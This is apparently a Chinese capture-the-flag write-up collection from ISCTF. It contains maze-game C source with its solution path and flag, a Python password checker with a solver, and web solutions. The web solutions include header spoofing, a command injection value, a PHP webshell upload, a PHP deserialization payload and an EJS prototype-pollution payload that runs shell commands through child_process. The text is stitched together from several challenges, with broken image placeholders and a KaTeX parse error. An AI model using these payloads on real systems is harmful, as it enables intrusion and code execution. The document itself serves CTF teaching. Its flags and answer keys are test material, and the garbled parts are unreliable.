{'#','.','#','#','#','#','#','#','#','#','#','.','#','#','#','#','#','.','#','.','#','#','#','.','#','.','#','#','#','.'}
{'#','.','#','.','.','.','.','.','#','.','#','.','.','.','#','.','.','.','#','.','.','.','#','.','.','.','#','.','#','.'}
{'#','.','#','.','#','.','#','.','#','.','#','#','#','.','#','.','#','#','#','#','#','.','#','#','#','.','#','.','#','.'}
{'#','.','.','.','#','.','#','.','.','.','#','.','#','.','.','.','#','.','.','.','#','.','.','.','#','.','.','.','#','.'}
{'#','.','#','#','#','.','#','#','#','.','#','.','#','#','#','#','#','.','#','.','#','#','#','.','#','#','#','.','#','.'}
{'#','.','.','.','#','.','#','.','#','.','.','.','.','.','.','.','#','.','#','.','.','.','#','.','#','.','.','.','#','.'}
{'#','#','#','#','#','.','#','.','#','#','#','#','#','#','#','.','#','.','#','#','#','#','#','.','#','.','#','#','#','.'}
{'#','.','.','.','#','.','#','.','.','.','.','.','.','.','#','.','#','.','.','.','#','.','.','.','#','.','#','.','.','.'}
{'#','.','#','.','#','.','#','.','#','#','#','#','#','#','#','.','#','#','#','.','#','.','#','#','#','#','#','.','#','.'}
{'#','.','#','.','.','.','#','.','.','.','.','.','.','.','.','.','.','.','.','.','#','.','.','.','.','.','#','.','#','.'}
{'#','.','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','.','#','#','#','#','#','#','#','.','#','.','#','.'}
{'#','.','.','.','.','.','.','.','.','.','#','.','.','.','#','.','.','.','#','.','.','.','.','.','#','.','.','.','#','.'}
{'#','.','#','#','#','#','#','#','#','.','#','.','#','.','#','#','#','#','#','.','#','.','#','#','#','#','#','#','#','.'}
{'#','.','.','.','.','.','.','.','#','.','.','.','#','.','.','.','.','.','.','.','#','.','.','.','.','.','.','.','.','.'}
};
bool isValidMove(int x, int y) {
    return (x >= 0 && x < ROWS && y >= 0 && y < COLS && maze[x][y] != '#');
}
void printMaze() {
    for (int i = 0; i < ROWS; i++) {
        for (int j = 0; j < COLS; j++) {
            printf("%c ", maze[i][j]);
        }
        printf("\n");
    }
}
void dark() {
    printf("突然一片白昼\n");
    printf("这又是哪,只见成百上千的人躺在一个个白色的床上\n");
    printf("他们的大脑周围插满了一根一根紫色的管子,正在往头上输入红色的液体\n");
    printf("你的头传来一阵剧痛,你下意识的摸摸自己的头,摸到的却是一个一个的洞口,刹那时,你顿感一阵眩晕,你明白了自己也曾经是他们的一员,但自己为什么不是在这里醒来,而是在另一个地方\n");
    printf("你走进去了,你愈加想要了解这到底发生了啥么,你走进了些\n");
    printf("你发现每个人躺在的床的面前,都有一张纸条,你仔细一看\n");
    printf("ally:已清除对母亲的记忆\n");
    printf("larry:已清除对妻子的记忆\n");
    printf("hook:已清除对孩子的记忆\n");
    printf("hanke:已清除对爷爷的记忆\n");
    printf("polly:正在清除对奶奶的记忆,60%\n");
    printf("niuniu:正在清除对女友的记忆,20%\n");
    printf("player:正在清除对女友的记忆,80%\n");
    printf("。。。。。。。。。。。。。\n");
    printf("ctfer:这里的实验就是清除他们的记忆吗???可恶,难怪我对她的记忆也在慢慢的流逝,不行,我不能让它们得场!!!\n");
    printf("突然一阵阵眩晕传来,你模糊的睁开眼,自己又回到了迷宫中,你摸摸自己的头,惊讶的发现,那一道道伤口任然在,这不是梦~!\n");
    printf("达成彩蛋1:caidan{this_will_be_a_secret}\n");
}
//59421
int main() {
    int x = 0, y = 0; // Starting position  
    char move;
    bool foundExit = false;
    bool foundExit1 = false;
    printf("ctfer:5****,这5个字符,我记起来了,是她告诉我的,她说是我们相见的密码,我怎么会不记得呢,可她现在消失了\n");
    printf("环顾着周围的四周,一片漆黑,难闻的空气里还夹杂着血腥味,到处都是迷雾,ctfer:这里到底是哪里,她去哪了?\n");
    printf("就这样摸着黑往前走着,突然来到了一扇大门前,上面写着:实验中心!!!\n");
    printf("ctfer:这。。。实验?我究竟被送往了哪里?\n");
    printf("走上前去往里看了看,这有块告示牌:请记住你的位置,不要在里面迷路奥!出口在***\n");
    printf("最后的字符已经模糊不堪了,但是你别无选择,咬咬牙,走!(任务:找到正确的路线,逃离迷宫)\n");
    printMaze();
    while (!foundExit) {
        printf("Current Position: (%d, %d)\n", x, y);
        printf("Enter move (w=up, s=down, a=left, d=right): \n");
        int a = scanf("%c", &move);
        getchar();
        int newX = x, newY = y;
        if (move == 'w' && isValidMove(x - 1, y)) {
            newX = x - 1;
        }
        else if (move == 's' && isValidMove(x + 1, y)) {
            newX = x + 1;
        }
        else if (move == 'a' && isValidMove(x, y - 1)) {
            newY = y - 1;
        }
        else if (move == 'd' && isValidMove(x, y + 1)) {
            newY = y + 1;
        }
        if (maze[newX][newY] == 'C') {
            dark();
            exit(0);
        }
        // Check if the new position is the exit  
        if (maze[newX][newY] == 'E') {
            foundExit = true;
        }
        else {
            // Mark the current position as visited  
            maze[x][y] = ' ';
            // Move to the new position  
            x = newX;
            y = newY;
            // Mark the new position as visited  
            maze[x][y] = 'P';
        }
    }
    printf("ctfer:呼呼呼,走出来了,太乱了,这是哪?\n");
    printf("我找到你了!(恶魔低语)\n");
    printf("砰!");
    printf("\n");
    return 0;
}
import random
def init_maze(width, height):
    # 初始化迷宫,所有墙都是0
    maze = [[0] * width for _ in range(height)]
    return maze
def is_valid(maze, x, y):
    # 检查坐标是否在迷宫范围内,并且是墙(0)
    if 0 <= x < len(maze[0]) and 0 <= y < len(maze):
        return maze[y][x] == 0
    return False
def carve_maze(maze, x, y):
    # 定义四个方向:右,下,左,上
    directions = [(0, 2), (2, 0), (0, -2), (-2, 0)]
    random.shuffle(directions)  # 打乱方向以得到更随机的迷宫
    for dx, dy in directions:
        nx, ny = x + dx, y + dy
        if is_valid(maze, nx, ny):
            # 打通通道
            maze[ny][nx] = 1
            maze[ny - dy // 2][nx - dx // 2] = 1  # 打通中间的墙
            # 递归地在相邻的块中继续挖
            carve_maze(maze, nx, ny)
def generate_maze(width, height):
    maze = init_maze(width, height)
    # 开始位置选择为左上角,但也可以随机选择
    start_x, start_y = 1, 1
    maze[start_y][start_x] = 1  # 开始位置设为通道
    # 使用DFS挖迷宫
    carve_maze(maze, start_x, start_y)
    return maze
def print_maze(maze):
    for row in maze:
        print(''.join(['#' if cell == 0 else '.' for cell in row]))
    # 生成并打印100x100迷宫
width, height = 100, 100
maze = generate_maze(width, height)
print_maze(maze)
#include <stdio.h>  
#include <stdbool.h>  
#include <memory>
#define ROWS 30
#define COLS 30 
//ssssddddddddssssssssssssaaaassssaaaawwwwwwwwwwww
char maze[ROWS][COLS] = {
    {'#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#'},
{ '#','P','#','.','.','.','.','.','.','.','.','.','.','.','.','.','.','.','#','.','.','.','#','.','.','.','.','.','.','.' },
{ '#','.','#','#','#','#','#','.','#','#','#','.','#','#','#','#','#','.','#','.','#','#','#','.','#','#','#','#','#','.' },
{ '#','.','.','.','.','.','#','.','.','.','#','.','#','.','.','.','.','.','#','.','.','.','#','.','#','.','.','.','#','.' },
{ '#','#','#','#','#','.','#','.','#','#','#','.','#','.','#','#','#','#','#','#','#','.','#','.','#','.','#','#','#','.' },
{ '#','C','.','.','#','.','#','.','#','.','.','.','#','.','#','.','.','.','#','.','.','.','#','.','#','.','#','.','.','.' },
{ '#','.','#','.','#','.','#','.','#','.','#','#','#','.','#','.','#','.','#','.','#','#','#','.','#','.','#','.','#','.' },
{ '#','.','#','.','#','.','#','.','#','.','.','.','#','.','.','.','#','.','#','.','.','.','.','.','.','.','#','.','#','.' },
{ '#','.','#','#','#','.','#','.','#','#','#','.','#','#','#','#','#','.','#','#','#','#','#','#','#','#','#','.','#','#' },
{ '#','.','#','.','.','.','#','.','.','.','#','.','.','.','.','.','#','.','#','.','.','.','.','.','.','.','#','.','.','.' },
{ '#','.','#','.','#','#','#','#','#','.','#','#','#','#','#','.','#','.','#','.','#','#','#','#','#','.','#','#','#','.' },
{ '#','.','.','.','#','.','.','.','#','.','.','.','#','.','.','.','#','.','.','.','#','.','.','.','#','.','#','.','.','.' },
{ '#','.','#','#','#','.','#','.','#','#','#','.','#','.','#','#','#','#','#','#','#','.','#','.','#','.','#','.','#','.' },
{ '#','.','.','.','#','.','#','.','#','.','.','.','#','.','#','.','.','.','#','.','.','.','#','.','.','.','#','.','#','.' },
{ '#','#','#','.','#','.','#','.','#','#','#','#','#','.','#','.','#','.','#','.','#','#','#','#','#','#','#','.','#','#' },
{ '#','.','#','.','.','.','#','.','.','.','.','.','#','.','.','.','#','.','#','.','#','.','.','.','#','.','.','.','.','.' },
{ '#','.','#','#','#','#','#','#','#','#','#','.','#','#','#','#','#','.','#','.','#','#','#','.','#','.','#','#','#','.' },
{ '#','.','#','.','.','.','.','.','#','.','#','.','.','.','#','.','.','.','#','.','.','.','#','.','.','.','#','.','#','.' },
{ '#','.','#','.','#','.','#','.','#','.','#','#','#','.','#','.','#','#','#','#','#','.','#','#','#','.','#','.','#','.' },
{ '#','.','.','.','#','.','#','.','.','.','#','.','#','.','.','.','#','.','.','.','#','.','.','.','#','.','.','.','#','.' },
{ '#','.','#','#','#','.','#','#','#','.','#','.','#','#','#','#','#','.','#','.','#','#','#','.','#','#','#','.','#','.' },
{ '#','.','.','.','#','.','#','.','#','.','.','.','.','.','.','.','#','.','#','.','.','.','#','.','#','.','.','.','#','.' },
{ '#','#','#','#','#','.','#','.','#','#','#','#','#','#','#','.','#','.','#','#','#','#','#','.','#','.','#','#','#','.' },
{ '#','.','.','.','#','.','#','.','.','.','.','.','.','.','#','.','#','.','.','.','#','.','.','.','#','.','#','.','.','E' },
{ '#','.','#','.','#','.','#','.','#','#','#','#','#','#','#','.','#','#','#','.','#','.','#','#','#','#','#','.','#','.' },
{ '#','.','#','.','.','.','#','.','.','.','.','.','.','.','.','.','.','.','.','.','#','.','.','.','.','.','#','.','#','.' },
{ '#','.','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','.','#','#','#','#','#','#','#','.','#','.','#','.' },
{ '#','.','.','.','.','.','.','.','.','.','#','.','.','.','#','.','.','.','#','.','.','.','.','.','#','.','.','.','#','.' },
{ '#','.','#','#','#','#','#','#','#','.','#','.','#','.','#','#','#','#','#','.','#','.','#','#','#','#','#','#','#','.' },
{ '#','.','.','.','.','.','.','.','#','.','.','.','#','.','.','.','.','.','.','.','#','.','.','.','.','.','.','.','.','.' },
};
bool isValidMove(int x, int y) {
    return (x >= 0 && x < ROWS && y >= 0 && y < COLS && maze[x][y] != '#');
}
void printMaze() {
    for (int i = 0; i < ROWS; i++) {
        for (int j = 0; j < COLS; j++) {
            printf("%c ", maze[i][j]);
        }
        printf("\n");
    }
}
void dark() {
    printf("突然一片白昼\n");
    printf("这又是哪,只见成百上千的人躺在一个个白色的床上\n");
    printf("他们的大脑周围插满了一根一根紫色的管子,正在往头上输入红色的液体\n");
    printf("你的头传来一阵剧痛,你下意识的摸摸自己的头,摸到的却是一个一个的洞口,刹那时,你顿感一阵眩晕,你明白了自己也曾经是他们的一员,但自己为什么不是在这里醒来,而是在另一个地方\n");
    printf("你走进去了,你愈加想要了解这到底发生了啥么,你走进了些\n");
    printf("你发现每个人躺在的床的面前,都有一张纸条,你仔细一看\n");
    printf("ally:已清除对母亲的记忆\n");
    printf("larry:已清除对妻子的记忆\n");
    printf("hook:已清除对孩子的记忆\n");
    printf("hanke:已清除对爷爷的记忆\n");
    printf("polly:正在清除对奶奶的记忆,60%\n");
    printf("niuniu:正在清除对女友的记忆,20%\n");
    printf("player:正在清除对女友的记忆,80%\n");
    printf("。。。。。。。。。。。。。\n");
    printf("ctfer:这里的实验就是清除他们的记忆吗???可恶,难怪我对她的记忆也在慢慢的流逝,不行,我不能让它们得场!!!\n");
    printf("突然一阵阵眩晕传来,你模糊的睁开眼,自己又回到了迷宫中,你摸摸自己的头,惊讶的发现,那一道道伤口任然在,这不是梦~!\n");
    printf("达成彩蛋1:caidan{this_will_be_a_secret}\n");
}
//59421
int main() {
    int x = 1, y = 1; // Starting position  
    char move;
    bool foundExit = false;
    bool foundExit1 = false;
    printf("ctfer:5****,这5个字符,我记起来了,是她告诉我的,她说是我们相见的密码,我怎么会不记得呢,可她现在消失了\n");
    printf("环顾着周围的四周,一片漆黑,难闻的空气里还夹杂着血腥味,到处都是迷雾,ctfer:这里到底是哪里,她去哪了?\n");
    printf("就这样摸着黑往前走着,突然来到了一扇大门前,上面写着:实验中心!!!\n");
    printf("ctfer:这。。。实验?我究竟被送往了哪里?\n");
    printf("走上前去往里看了看,这有块告示牌:请记住你的位置,不要在里面迷路奥!出口在***\n");
    printf("最后的字符已经模糊不堪了,但是你别无选择,咬咬牙,走!(任务:找到正确的路线,逃离迷宫)\n");
    //printMaze();
    while (!foundExit) {
        int a = scanf_s("%c", &move);
        getchar();
        int newX = x, newY = y;
        if (move == 'l' && isValidMove(x - 1, y)) {
            newX = x - 1;
        }
        else if (move == 'o' && isValidMove(x + 1, y)) {
            newX = x + 1;
        }
        else if (move == 'v' && isValidMove(x, y - 1)) {
            newY = y - 1;
        }
        else if (move == 'e' && isValidMove(x, y + 1)) {
            newY = y + 1;
        }
        if (maze[newX][newY] == 'C') {
            dark();
            exit(0);
        }
        // Check if the new position is the exit  
        if (maze[newX][newY] == 'E') {
            foundExit = true;
        }
        else {
            // Mark the current position as visited  
            maze[x][y] = ' ';
            // Move to the new position  
            x = newX;
            y = newY;
            // Mark the new position as visited  
            maze[x][y] = 'P';
        }
    }
    printf("ctfer:呼呼呼,走出来了,太乱了,这是哪?\n");
    printf("我找到你了!(恶魔低语)\n");
    printf("砰!");
    printf("\n");
    return 0;
}

ooeeeeoooooovvoovvooeeooeelllleeooooeeeeooeeooeelleellllvvoovvlllleellvvvvllvvlleelllleeeeeeoovvvvooooeelleeooooooeelleeeeeeoooovvllvvoovvooooeeooeeoooovvooeeeeooeelllle

ISCTF{e920b34ba2ad1ac5e8f9edca57068ecc}

《回忆安魂曲》--第四章:退!初识凤仙儿

出题人:h1m

解题过程:

cpython的记录

img

img

https://www.cnblogs.com/keep--fighting/p/18114495

运行命令用这个

gcc main.c -L/usr/lib/x86_64-linux-gnu -lpython3.10 -o main

gcc main.c -lpython3.10 -o main

不用指定也行

img

我们进行调试

img

https://blog.csdn.net/m0_73644864/article/details/134963574

发现这个才是最关键的

#test
import test

def main():
    print("恶魔:我要抓住你,你是逃不过的,我要将你的记忆一点一点榨干,哈哈哈,没人能逃出我的手掌心!!!\n")
    print("尽管你比那个庞然大物灵活,但是他的身躯足以毁灭周围的一切障碍物,你在他的面前就像是一只随时被抓住上的蝼蚁\n")
    print("ctfer:难道,今天就要交代在这里了吗,我还没有见到她呀,我不想死在这里!!!\n")
    print("未知声音:hi,快快,快过来!!!\n")
    print("你一个白衣女子出现在了你面前,她一把把你拉入一个小房间,房间里面有一个类似井口的东西\n")
    print("未知声音:从这里下去\n")
    print("尽管你内心充满了疑惑但是看见即将后面追来的怪物,你不得不跳了下去\n")
    print("奇怪的是当你进入井后,那个怪物并没有追来,甚至是没停在了房间前,它的眼睛充满了愤怒,但你也能看到,那眼神里面带着失落,一种异样的失落\n")
    print("凤仙儿:我叫凤仙儿,我也是被困在这里的人,那个家伙尝试删除我们这些实验品的记忆,不过我也不知道来了多久了,这个地方是我的秘密基地,那个怪物不知道为啥惧怕这里,这些天我一直徘徊在地底和地上找寻离开的办法\n")
    print("ctfer:我叫马**,很高心认识你,那你这些天有找到啥么?\n")
    print("凤仙儿:你过来这个房间,这里有你想要的。\n")
    print("进入房间,这里布满了灰尘,桌上有许多实验记录文件,这时凤仙儿递了一本给你,看看这个\n")
    print("实验笔记:这是第n次实验,今天博士又找到我们了他说0号病变实验品越来越狂燥了,我觉得太不可思议了,那些记忆不仅没有因为仪器而消除,反而让他起了副作用,变得越来越可怕\n")
    print("实验笔记2:我一般把实验记录放入保险箱中,密码通过我自己做的check器进行检测,哎,今天太累了,要先睡了\n")
    print("凤仙儿:就是这个,你能帮我解开么?也许里面的东西对我们逃出去有用,我得再去周围看看。\n")
    print("ctfer:好!我可是reverse手\n")
    print("任务:解开保险箱密码,拿到实验记录\n")
    user_input = input("")
    if len(user_input) != 16:
        print("密码长度不对")
        return 0
    if test.check(user_input)==1:
        print("恭喜主人您的密码正确!")
        test.say()
    else:
        print('错误!锁定!!!')

if __name__ == "__main__":
    main()
# 定义一个4x4的S-box
sbox = [
    1, 14, 4, 13,
    10, 2, 5, 8,
    7, 6, 9, 12,
    15, 3, 11, 0
]
# 定义一个4字节的密钥
key = 'H1m'
hack_data = [27, 16, 43, 29, 127, 46, 51, 102, 50, 1, 112, 50, 53, 101, 57, 1]
def check(str):
    flag = 1
    str1 = ''
    data = [0]*16
    for i in range(len(str)):
        str1 += str[sbox[i]]
    for i in range(len(str1)):
        data[i] = ord(str1[i]) ^ ord(key[i%len(key)])
    for i in range(len(data)):
        if data[i]!=hack_data[i]:
            flag = 0
    return flag

def say():
    print('打开保险柜:里面摆放着一个名为"DELETE-MEMORY"的文件和一个名为"0号病变实验者"的文件,其他还散落了一些笔记')
    print('DELETE-MEMORY:举世闻名的切斯特公司已经把目光注向我们,他们可能将推行我们研发能使人忘记烦恼的机器和药物,目前我们高层也已经和对方进行会晤,一切良好\n')
    print('若能推行,我们将闻名于世界!!!\n')
    print('我们是MEMORY公司,一直以来我们专注研究人类精神方面问题,我们看到了太多抑郁症患者,精神紊乱患者,还有因为情感,因为亲人去世而带来的痛楚而崩溃的患者等等,如果能想个办法消除这一切,那么是不是就可以让人快乐起来\n')
    print('我们开始为一些轻度患者进行实验\n')
    print('****取得阶段性成功******\n')
    print('我们开始了进一步研究,然后我们推出了一款叫做X-液的药物,配上我们新型机器x-box,我们现在就需要更多试验员来进行测验,若能通过****\n')
    print('切斯特公司为我们推来一名试验者。。。,说是只要这个通过了,我们将彻底合作!\n')
    print('0号实验者:这次的实验绝对保密,我们使用***公司提供的的***\n')
    print('姓名:韦恩  性别:男\n')
    print('年龄:22  职业:程序设计师\n')
    print('诊断:重度精神疾病,狂躁*,重度**\n')
    print('实验成效:\n')
    print('第一天:未通过\n')
    print('第二天:未通过\n')
    print('第三天:未通过\n')
    print('第n天:未通过\n')
    print('笔记:公司老总今天开始开会,针对0号病人若是再没有任何成就,我们将失去与切斯特合作的最好机会,我看见博士回来之后一脸惆怅\n')
    print('笔记:我看见博士和经理在谈论0号病人的事情,好像再说:****************\n')
    print('接下来的笔记好像残缺了,不过最后有一页\n')
    print('笔记:药物不仅对它的精神造成影响,甚至改造了它的身体,它不受控制了,他已然变成了一个恶魔,实验室遭到了摧毁,他们都没有幸免遇难,博士也不知道去哪了,我真的好害怕!!!\n')
    print('笔记:博士会有解药么?谁来救救我\n')
    print('所以博士在哪?0号实验者到底为什么会变得如此?怎么才能恢复原有的秩序?一切谜底,我们下季,再见!!!!(未完待续)\n')
    print('写在最后的话:剧情随着后面根据需要可能会对前四章进行一些二次更改,本人第一次写剧情,加之最近事多,不合理的地方或者要改进的地方请找我(qq:3078103411)(呜呜呜,大家轻点骂),最后,希望大家玩的愉快!!!\n')
    print('注意:前四章都是新手关,后续章节,题目难度将垂直上升!\n')
    print('see~you\n')
# 定义一个4x4的S-box
sbox = [
    1, 14, 4, 13,
    10, 2, 5, 8,
    7, 6, 9, 12,
    15, 3, 11, 0
]
# 定义一个4字节的密钥
key = 'H1m'
data = [0]*16
flag = ''
hack_data = [27, 16, 43, 29, 127, 46, 51, 102, 50, 1, 112, 50, 53, 101, 57, 1]
for i in range(len(hack_data)):
    hack_data[i] ^= ord(key[i%len(key)])
for i in range(len(hack_data)):
    data[sbox[i]] = hack_data[i]
for i in range(len(hack_data)):
    flag += chr(data[i])
print(flag)

五、web

25时晓山瑞希生日会

出题人:oSthing

题解: 很简单的http请求头

第一段

"你不是烤p!要是Project Sekai的客户端请求才能加入生日会"

很明显是ua头设置

User-Agent: Project Sekai

第二段要从本地来就是XFF

X-Forwarded-For: 127.0.0.1

最后一段日期

从网上查资料得到晓山瑞希的生日是8月27号,随便输入个日期格式发现回显要RFC 822格式,去网上搜一下格式得出最终日期

Date: Tue, 27 Aug 2024 05:00:00 GMT

1z_php

出题人:J1ngHong

题解:

POST: J=sort /f14g

UP!UPloader

出题人:J1ngHong

题解:

上传一句话木马到1.php,然后访问/uploads/f3b94e88bd1bd325af6f62828c8785dd(md5加密后的1.php),用自己打上的木马打就行了。

天命人

出题人:J1ngHong

题解:

GET:?J=QNKCDZO

POST:

a:2:{i:0;O:11:"Tianmingren":2:{s:8:"tianming";O:15:"Dinghaishenzhen":2:{s:6:"Jindou";s:40:"一个筋斗能翻十万八千里!<br>";s:3:"yun";O:13:"Huoyanjinjing":2:{s:6:"huoyan";O:9:"Wuzhishan":3:{s:2:"wu";s:40:"俺老孙定要踏破这五指山!<br>";s:3:"zhi";N;s:4:"shan";N;}s:7:"jinjing";s:7:"QNKCDZO";}}s:3:"ren";N;}i:0;i:0;}
$key=new Tianmingren();
$key->tianming=new Dinghaishenzhen();
$key->tianming->yun=new Huoyanjinjing();
$key->tianming->yun->huoyan=new Wuzhishan();
$key->tianming->yun->jinjing="QNKCDZO";
echo "\n\n".serialize($key)."\n\n";

ParseError: KaTeX parse error: Can't use function '$' in math mode at position 27: …i:0;'.serialize$̲$`key).'i:0;i:0…


### ezejs

出题人:F10wers13eiCheng

解题过程:

```JSON
{
    "__proto__":{
    "destructuredLocals":[       "a=a;global.process.mainModule.require('child_process').execSync('echo `id` > /app/views/index.ejs');//var __tmp2"
    ]
    }
}

img